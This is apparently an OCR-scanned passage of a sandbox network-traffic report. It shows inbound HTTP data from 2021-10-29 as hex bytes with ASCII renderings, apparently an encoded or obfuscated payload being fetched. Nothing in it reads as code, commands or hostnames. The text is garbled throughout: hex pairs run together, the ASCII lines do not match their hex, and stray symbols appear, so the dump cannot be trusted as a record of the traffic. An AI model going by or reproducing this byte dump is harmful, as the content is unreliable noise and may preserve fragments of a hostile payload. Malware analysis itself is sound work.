71 20 70 6d 20 71 45 4d 20 57 6d 20 44 57 20 4d 44 20 44 6d 20 71
Data Ascii: Oq qOX qgp pM pm pg WW Em gqgm MD gJE JmO qWgq mM mm Wm Mp qqE qgqD qJO MX pg mM pJ gXp Xm
gJp ggm gOX qOqg pJ IM Wq pD JgJ gXD gJD qOD ggm pJ qOO pM pD gJqg qgW qOp JpD qgJ WW WX Wq pD Jgp gqgm
qqJ gOD qqgp pJ gEE gJD gM Xp qJJ MD gJE Mp Wgq pm gEM Wm DW MD Dm ¢

2021-10-29 18:29:49 UTC 303 IN Data Raw: 58 20 71 45 58 20 71 6d 4d 20 57 71 20 70 44 20 4a 71 4a 20 4a 71 58 20 71 4a 6d 20 44 4d 20 71 71 4a 20
70 4d 20 70 6d 20 70 20 57 57 20 45 4f 20 4a 6d 4a 20 71 44 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a 20 45 20
58 57 20 4d 44 20 4a 6d 57 20 71 44 4d 20 71 4a 71 20 4a 44 20 6d 58 20 70 4d 20 70 44 20 71 4f 71 20 71 71 57 20 71
4f 70 20 4a 70 45 20 71 44 4f 20 57 4d 20 4a 6d 20 57 4f 20 70 57 20 45 4f 20 44 45 20 71 71 44 20 71 4a 45 20 4a 6d 4f
20 4a 57 6d 20 57 71 20 4a 44 20 57 6d 20 4d 6d 20 71 4a 70 20 4d 70 20 71 4f 4d 20 71 4f 71 20 70 4a 20 4a 4d 20 57 7
1207044 20 4a 71 4a 20 71 4d 6d 20 71 4a 6d 20 44 4d 20 71 71 4a 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 4f 20 4a
6d 4a 20 71 6d 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a
Data Ascii: X gEX gmM Wq pD JgJ JgX gJm DM ggqJ pM pm p WW EO JmJ gDgq gOO XX WO pE pJ E XW MD JmW gDM
qJq JD mX pM pD qOq qqW qOp JpE gDO WM Jm WO pW EO DE gqD gqJE JmO JWm Wq JD Wm Mm gJp Mp qOM gqOq
pJ IM Wq pD JgJ gMm gJm DM ggJ pM pm pg WW EO JmJ gmg gOO XX WO pE pJ

2021-10-29 18:29:49 UTC 319 IN Data Raw: 4d 20 57 6d 20 57 4f 20 45 6d 20 57 4f 20 71 4f 58 20 58 6d 20 70 57 20 71 71 45 20 4a 4d 20 71 71 4a 20 4d
57 20 6d 58 20 58 70 20 57 6d 20 71 4d 20 71 71 6d 20 44 70 20 71 4f 4d 20 44 20 57 4f 20 58 71 20 57 4f 20 71 71 70 20
58 6d 20 70 4f 20 71 71 45 20 4a 57 20 71 71 4a 20 71 4f 45 20 6d 58 20 71 4f 71 20 57 6d 20 4a 20 71 71 6d 20 44 20 71
4f 4d 20 6d 71 20 57 4f 20 4d 70 20 57 4f 20 71 57 20 58 6d 20 4a 4d 20 71 71 45 20 71 6d 20 71 71 4a 20 71 71 45 20 6d
58 20 44 44 20 57 6d 20 44 71 20 71 71 6d 20 6d 6d 20 71 4f 4d 20 4a 4d 20 57 4f 20 45 4a 20 57 4f 20 4d 70 20 58 6d 20
6d 70 20 71 71 45 20 4d 57 20 71 71 4a 20 45 20 6d 58 20 4d 4a 20 57 6d 20 71 70 20 71 71 6d 20 45 71 20 71 4f 4d 20
44 4d 20 57 4f 20 58 58 20 57 4f 20 58 57 20 58 6d 20 57 70
Data Ascii: M Wm WO Em WO qOX Xm pW qqE JM qgJ MW mX Xp Wm gM qgm Dp gOM D WO Xgq WO qgp Xm pO qqE
JW qgJ gOE mX gOg Wm J ggm D gOM mgq WO Mp WO gW Xm JM qgE gm qgqJ qqE mX DD Wm Dg ggm mm qOM JM
WO EJ WO Mp Xm mp qqE MW ggJ E mX MJ Wm gp ggm Eq gOM DM WO XX WO XW Xm Wp
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Timestamp transferred Direction Data

2021-10-29 18:29:49 UTC 335 IN Data Raw: 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20
57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d
207171 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20
7171 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58
2057 4f 2057 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d
207171 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f
Data Ascii: ggJ WO mX WO Wm Xm ggm gqgE qOM ggJ WO mX WO Wm Xm gqgm gqE qOM ggqJ WO mX WO Wm Xm
qgm qgE qOM ggqJd WO mX WO Wm Xm qgm ggE gOM ggJ WO mX WO Wm Xm ggm gqE qOM gqgJ WO mX WO Wm
Xm ggm gqgE gOM gqgJ WO mX WO Wm Xm ggm gqqE qOM ggqJ WO mX WO Wm Xm ggm gqgE qOM gqgJ WO

2021-10-29 18:29:49 UTC 351 IN Data Raw: 71 6d 20 4a 20 4f 20 6d 4f 20 45 20 4f 20 4f 20 44 20 4f 20 4f 20 4f 20 4f 20 4f 20 70 4a 20 45 4f 20 4f 20 4f 20
4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 70 20 4f 20 4a 57 6d 20 71 6d 20 4a 57 20 4f 20 4a 57 6d 20
71 4a 20 4a 57 20 4f 20 57 45 20 71 44 58 20 4f 20 4f 20 4f 20 70 4a 20 45 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a
20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 44 20 4f 20 70 4a 20 45 4a 20 4f 20 4f 20 4f 20 4a 57 6d
20 71 6d 20 4a 20 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 45 20 4f 20 70 4a 20 45 70 20 4f 20 4f 20
4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 58 20 4f 20 4a 57 6d 20 71 4a 20 4d 20 4f 20 6d 4f 20 71 4a
20 4f 20 4f 20 44 20 4a 57 6d 20 71 6d 20
Data Asci:gmJOmMOEOODOOOOOpPIJEOO OO JIJWmgmJO JIJWmgJp O JIWmagmJIW O IJWm gl IW O WE
gDXOOOpPIJEQOOOIWMmgmJIOpPIOOOOIWmMmgMIDOpPIEIJOOOIWmgmJOplgO OO IWmgmJIEO
pJEpOOOJIJWmgmJOJIJWmagJ XOJIWmagJMO mO gJ O O DJWmgm

2021-10-29 18:29:49 UTC 367 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4f 44 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 4a 4a 71 20 6d 4d 20 4f 20
4f 20 4f 20 71 71 45 20 70 4a 20 4f 20 4f 20 71 20 4a 4f 20 4a 57 6d 20 70 20 4a 57 6d 20 71 4a 20 71 20 4f 20 70 4a 20
4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 70 20 4d 57 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57
6d 20 71 20 4d 57 20 4a 57 6d 20 71 45 20 71 71 44 20 70 4a 20 4f 20 4f 20 71 20 6d 4f 20 4d 20 4f 20 4f 20 71 4f 20 4a
4a 71207157 70 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 70 4a 20 57 71 20 4f 20 71 4f 20 71 4a 58 20 6d 4f 20 71 4f 20
4f 20 4f 20 71 4f 20 71 4a 4a 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 57 45 20 44 20 4f 20 4f 20 4f 20 6d 4f 20 45 20 4f 20 4f
20 71 4f 20 4f 20 4a 57 6d 20 71 4a 20 4f 20 4f
Data Ascii: O O O O O O gOD JWm JWW JWW JJgmM O O O qgE pJ O O qJO JWm p JWm gl q O pJ O O O O JWm
p MW JIWmgJJO pJO OO O JIWmgMW JWm gE qqD pJ © O g mO M O O qO JJg gWp JWW JWW JWW pJ Wqg O
g0 gJIXmO g0 0 0 g0 gl IWmglJOWEDOOOmMOEOOgOOJWmgJOO

2021-10-29 18:29:49 UTC 383 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 70
2071 57 45 20 70 45 20 4a 4a 20 70 71 20 4d 45 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71
4d 20 6d 58 20 6d 20 4f 20 71 57 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 4a 58 20 71 6d 71 20 71 70 44 20 4f 20
4f 20 71 20 70 45 20 70 4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 57 20 4f 20 4f
20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 4a 45 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20
4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45
20 4a 44 20 70 71 20 71 4f 58 20 71 57 45 20 70 45
Data Ascii: O O O O pgq WD qWE pE pJ O O O O pg Wp qWE pE JJ pg ME qWE qqW gXE O O qO mJ gM mX m O gwO
OO0OOpOOQgE JIXgmgagpD O O qpE pJW O O O pggOg gWE pE pJ W O O O pqg ME qWE pE JE pq qOJ qWE pE pJ
m O O O pg WE qWE pE pJ m O O O pg Wm gqWE pE JD pg qOX qWE pE

2021-10-29 18:29:49 UTC 399 IN Data Raw: 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 70 4f 20 4f 20 4f 20 4f 20 70 71 20
6d 4d 20 71 57 45 20 70 45 20 70 71 20 70 4f 20 70 71 20 6d 44 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f
20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 4d 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70
7120 4a4d 20 70 71 20 71 71 57 20 71 57 45 20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45
20 70 45 20 70 4a 20 4a 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 71 20 4a 58 20 70 71 20 71
7144 2071 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20 4a 45
20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70
Data Ascii: O O O O pg qOq qWE pE pJ pO O O O pg mM qWE pE pq pO pg mD qWE pE pJ JM O O O pq mX qWE pE
pJ JM O O O pg WD qWE pE pg IJM pg qqW qWE pE pJ JX O O O pg WO qWE pE pJ JX O O O pq qOq qWE pE pg JX
pg qqb qWE pE pJ JE O O O pg MX qWE pE pJ JE O O O pg Wm qWE p

2021-10-29 18:29:49 UTC 415 IN Data Raw: 4a 4f 20 4f 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 4d 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20
70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71
2057 4f 20 71 57 45 20 70 45 20 70 4f 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70
712057 6d 20 71 57 45 20 70 45 20 70 4a 20 45 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 4a 4d 20 70
712071 4f58 20 71 57 45 20 70 45 20 70 4a 20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a
20 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 4a 58 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70
4a 20 57 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20
Data Ascii: JOO O O p O O qE pq M gmg gpD O O g pE pJ X O O O pq qOO qWE pE pJ X O O O pq WO qWE pE pO pq
qOX qWE pE pJ E O O O pg Wm gWE pE pJ E O O O pq WJ qWE pE JM pg qOX qWE pE pJ D O O O pg qOq qWE pE
pJ D O O O pg qOO qWE pE JX pg gOO qWE pE pJ W O O O pqg Wm

2021-10-29 18:29:49 UTC 431 IN Data Raw: 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 71 20 57 4a 20 70 71 20 44 57 20 71 57 45 20 70
4520 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70
712057 4a 20 71 57 45 20 70 45 20 70 4a 20 57 71 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20
57 71 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 4520 70 4520 70 71 20 57 71 20 70 71 20 70 4a 20 71 57 45 20 70 45
20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71
20 57 45 20 71 57 45 20 70 45 20 70 4a 20 57 4f 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 57
4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45
Data Ascii: O O O pg ME qWE pE pg WJ pg DW qWE pE pJ Wg O O O pq WD qWE pE pJ Wq O O O pg WJ qWE pE pJ
Wq O O O pg MX gWE pE pJ Wq O O O pg WJ gWE pE pg Wq pg pJ gWE pE pJ WO O O O pq qOJ qWE pE pJ WO O
O O pg WE qWE pE pJ WO O O O pg WO qWE pE pJ WO O O O pg qOO qWE

2021-10-29 18:29:49 UTC 439 IN Data Raw: 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 71 20 71 44 20 70 71 20 44 4d 20 71 57 45 20 70 45 20 70 4a 20
71 57 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20
7157 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20
4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 71 20 71 57 20 70 71 20 45 44 20 71 57 45 20 70 45 20 70 4a 20
71 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20
7157 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20
4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71
Data Ascii: pg MM qWE pE pg gD pq DM qWE pE pJ gW O O O pg ME qWE pE pJ gW O O O pg qOO qWE pE pJ gW O
O O pg WJ qWE pE pJ gW O O O pg WJ gWE pE pg qW pq ED qWE pE pJ gm O O O pg MM gWE pE pJ gm O O O pq
MM gWE pE pJ gm O O O pgq WE qWE pE pJ gm O O O pq qOO gWE pE pq
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2021-10-29 18:29:49 UTC 455 IN Data Raw: 20 71 57 45 20 70 45 20 70 71 20 4a 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20
4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70
4520 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70
71205757 20 71 57 45 20 70 4520 70 71 20 71 4d 20 70 71 20 71 4f 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f
20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20
704520 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20
70712057 4f 20 71 57 45 20 70 45 20 70 71 20 71 58 20 70
Data Ascii: qWE pE pq JO pg qOq qWE pE pJ gM O O O pg mM gWE pE pJ gM O O O pg mX gWE pE pJ gM O O O pq
Wm gWE pE pJ gM O O O pq WW gqWE pE pg gM pq gOM qWE pE pJ gX O O O pg Wm gqWE pE pJ gX O O O pg MM
qWE pE pJ gX O O O pg ME gWE pE pJ gX O O O pq WO gWE pE pg gX p

2021-10-29 18:29:49 UTC 471 IN Data Raw: 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 71 20 71 57 45 20 70 45 20 4a 4a 20 70 71 20 45 70
207157 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71 4d 20 6d 58 20 6d 20 4f 20 4a 57 4a 20 71 20 4f
20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 71 4a 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 71 71
20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57
4520 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20
4f 2070 71 20 57 6d 20 71 57 45 20 70 4520 70 71 20 71 71 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 71 4f
20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70
Data Ascii: pE pJ O O O O pg Wq qWE pE JJ pq Ep qWE qqW gXEO O gO mJgM mX m O JWJ q O O p O O gE pq qJ
gqmqg gpD O O q pE pJ qg O O O pg mM gWE pE pJ qg O O O pg qOg gWE pE pJ gq O O O pg mX qWE pE pJqqg O O O
pg Wm gqWE pE pg qq pg gOX qWE pE pJ gO O O O pg WJ qWE p

2021-10-29 18:29:49 UTC 487 IN Data Raw: 4a 58 20 57 58 20 70 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 4d 20 71 4d 20 71 57 57 20 71 20 58
4420 71 4a 58 20 4a 4a 58 20 70 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4a 71 20 71 4d 20 71 57 57 20 71 20
58 44 20 71 4a 58 20 71 4d 4d 20 71 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 57 70 20 4a 57 20 71 57 57 20 71
205844 20 71 4a 58 20 71 58 6d 20 45 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 71 71 20 70 70 20 71 57 57 20 71
2058 44 20 71 4a 58 20 57 6d 20 70 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 70 58 20 70 4d 20 71 57 57 20 71
2058 44 20 71 4a 58 20 4a 4d 20 71 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 6d 20 6d 4f 20 71 57 57 20 71
205844 20 71 4a58 20 71 4f 20 70 20 71 57 57 20 71 20 58 44 20 71 4a
Data Ascii: JX WX pp qWW q XD gJX JOM gM qWW g XD gJX JIX pq qWW q XD gqJX qJq gM qWW g XD qJX gMM gqW
gqWW g XD gJX JWp JW qWW g XD gJX gXm E gqWW g XD gJX Jgq pp gWW g XD gJX Wm pD qWW g XD gJX qpX pM
gqWW q XD gJX JM gD gWW g XD gJX JOm mO qWW g XD gqJX qO p gWW g XD qJ

2021-10-29 18:29:49 UTC 503 IN Data Raw: 20 70 20 58 57 20 57 20 4d 20 4f 20 4a 4a 4f 20 70 20 4d 4f 20 57 20 4d 20 4f 20 4a 4a 6d 20 70 20 4d 57 20
57 20 4d 20 4f 20 4a 4a 58 20 70 20 71 4f 4f 20 57 20 4d 20 4f 20 4a 70 4a 20 70 20 71 4f 57 20 57 20 4d 20 4f 20 4a 70
4420 70 20 71 71 4f 20 57 20 4d 20 4f 20 4a 6d 4f 20 70 20 71 71 57 20 57 20 4d 20 4f 20 4a 6d 6d 20 70 20 71 4a 4f 20
57 20 4d 20 4f 20 4a 6d 58 20 70 20 71 4a 57 20 57 20 4d 20 4f 20 4a 57 4a 20 70 20 71 70 4f 20 57 20 4d 20 4f 20 4f 20
6d 20 71 70 57 20 57 20 4d 20 4f 20 6d 20 6d 20 71 6d 4f 20 57 20 4d 20 4f 20 58 20 6d 20 71 6d 57 20 57 20 4d 20 4f 20
71 4a 20 6d 20 71 57 4f 20 57 20 4d 20 4f 20 71 44 20 6d 20 71 57 57 20 57 20 4d 20 4f 20 4a 4f 20 6d 20 71 44 4f 20 57
20 4d 20 4f 20 4a 6d 20 6d 20 71 44 57 20 57 20 4d 20 4f
Data Ascii: p XWW M O JJOp MOWM O JIJmp MWW M O JIX pgOO W M O JpJ pqOW W M O JpD pgqqO W M O
JMO pgqW WM O IJmmpgJOW MO ImXp gJWWMO IWIpgpOWMOOmMgpWW MO mmagmO W MO Xm
gmW WM O gJ mgwO WM O gD mgWW W M O JO m gbO W M O Jm m gDW W M O

2021-10-29 18:29:49 UTC 519 IN Data Raw: 71 20 4f 20 4d 45 20 71 71 58 20 71 4f 71 20 71 71 4f 20 71 71 45 20 71 4f 71 20 4f 20 58 4a 20 71 4f 71 20 71
71 4a 20 4d 4520 71 71 58 20 71 4f 71 20 4f 20 71 4f 4f 20 71 4f 57 20 71 71 57 20 4d 4520 71 470 20 71 4f 70 20 71 71
6d 20 71 4f 71 20 71 4f 70 20 4d 4520 71 71 4420 71 4f 57 20 71 71 58 20 71 4f 71 20 4§20 71 4f 7020 71 4f 7120 71 71
44 20 4d 57 20 4570 20 71 71 57 20 58 4f 20 71 71 6d 20 71 4f 57 20 71 4f 4d 20 71 4f 57 20 71 71 44 20 71 4f 57 20 71
7158 20 71 4f 71 20 4f 20 4d 57 20 4d 57 20 4d 57 20 4558 20 71 71 71 20 71 71 4f 20 4d 45 20 71 71 57 20 71 71 57 20
714f712071716d2071714420714f57 2071715820 71 4f 71 20 4f 20 71 4f 6d 20 71 4f 71 20 4d 45 20 71 71 58
2071 4f57 20 71 4f 71 20 71 71 6d 20 6d 44 20
Data Ascii: ¢ O ME gqgX qOq qgO qqE qOg O XJ gOq qqJ ME ggX qOg O qOO qOW qgqW ME gOp qOp gqgm qOg qOp
ME qgD qOW qgX qOgq O qOp qOq qgb MW Ep qqW XO ggm gOW qOM qOW qgD qOW ggX qOg O MW MW MW EX
qdq 49O ME gqqW qgqW qOq ggm qgD qOW ggX qOg O qOm qOqg ME ggX qOW qOq gqgm mD

2021-10-29 18:29:49 UTC 535 IN Data Raw: 4f 20 4d 58 20 71 71 45 20 71 71 57 20 71 4f 6d 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 57 20 71 71 4f 20 4d 45
20 4d 4d 20 4d 4d 20 71 71 4520 71 71 6d 20 4d 45 20 4d 4d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 4a 20 71
71712071 716d 20 71 4f 71 20 4d 4d 20 4d 45 20 71 4f 4f 20 71 4f 4f 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 45 70
2071 4f4f20714f7120 71 71 4f20 71 71 44 20 71 4f 57 20 71 4f 4a 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 58 4f
2071 4f712071714f207171 44 20 4d 4520 71 71 6d 20 4d 4d 20 71 4f 6d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f
2071 4f4f20714a7120717157207171442071716d207171712071714a20714f6d 20 71 4f57 20 71 4f 71
20717157204f2071715720714a712071
Data Ascii: O MX qqE qqW qOm qOq qgqW O qOW qqO ME MM MM qqE gqgm ME MM qOW qOq qqW O qOJ qqg ggm
qOg MM ME qOO qO0O qOW qOq gqqW O Ep qOO qOq qqO qgb gOW qOJ qOW qOg gqqW O XO qOq qqO qgD ME gqgm
MM gOm qOW qOqg qqW O qOO qJq qaW qqD ggm qaq qgJ gOm qOW qOq qgW O qaW qJq g

2021-10-29 18:29:49 UTC 551 IN Data Raw: 4d 4d 20 4f 20 71 4a 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 57 45 20 4f
20 71 71 4f 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 45 4f 20 4f 20 71 71 44 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 58
20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f
20 44 44 20 4f 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 58 70 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 58 45
20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 58 4a 20 4f 20 44
4d 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 4d 4f 20 4f 20 45
71 20 4f 20 58 57 20 4f 20 71 71 45 20
Data Ascii: MM O gJg O DD O qgM O MM O gOM O WE O gqqgO O MM O qOM O EO O qqD O Ep O Eq O EX O gOm O
MX O qOM O Wp O ggX O qOO O DE O DD O qOW O MO O Xp O DD O gJg O qOO O XE O WJ O qOp O ME O XE O
WJ O gqOp O XJODMO WE O XmO Ep O EqOmM O ggX O MO O Eq O XW O qqE

2021-10-29 18:29:49 UTC 567 IN Data Raw: 4f 20 45 4d 20 4f 20 57 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4f 20 4f
20 71 71 4d 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 4f 20 4f 20 6d
45 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 45 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44
20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71
71 44 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 6d 58 20 4f 20
58 58 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20
58 71 20 4f 20 44 58 20 4f 20 71
Data Ascii: O EM O WD O gJg O DW O DW O DE O EO O qgM O EO O gOX O MO O qOJ O gOM O gqO O mE O qOO
0 q0q O gJg O EX O gqOJ O qOO O qOD O qgqq O Xp O qOE O DW O DW O DW O Ep O qqgD O EO O Wm O Ep O XX
ODWOgJOOMXOXXO0OgqgM OWmMOEEOXJODWODWOEJOXqODXOq
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:49 UTC 583 IN Data Raw: 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 58 20 4f 20 44
4d 20 4f 20 45 70 20 4f 20 71 4f 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f
20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 45
20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44
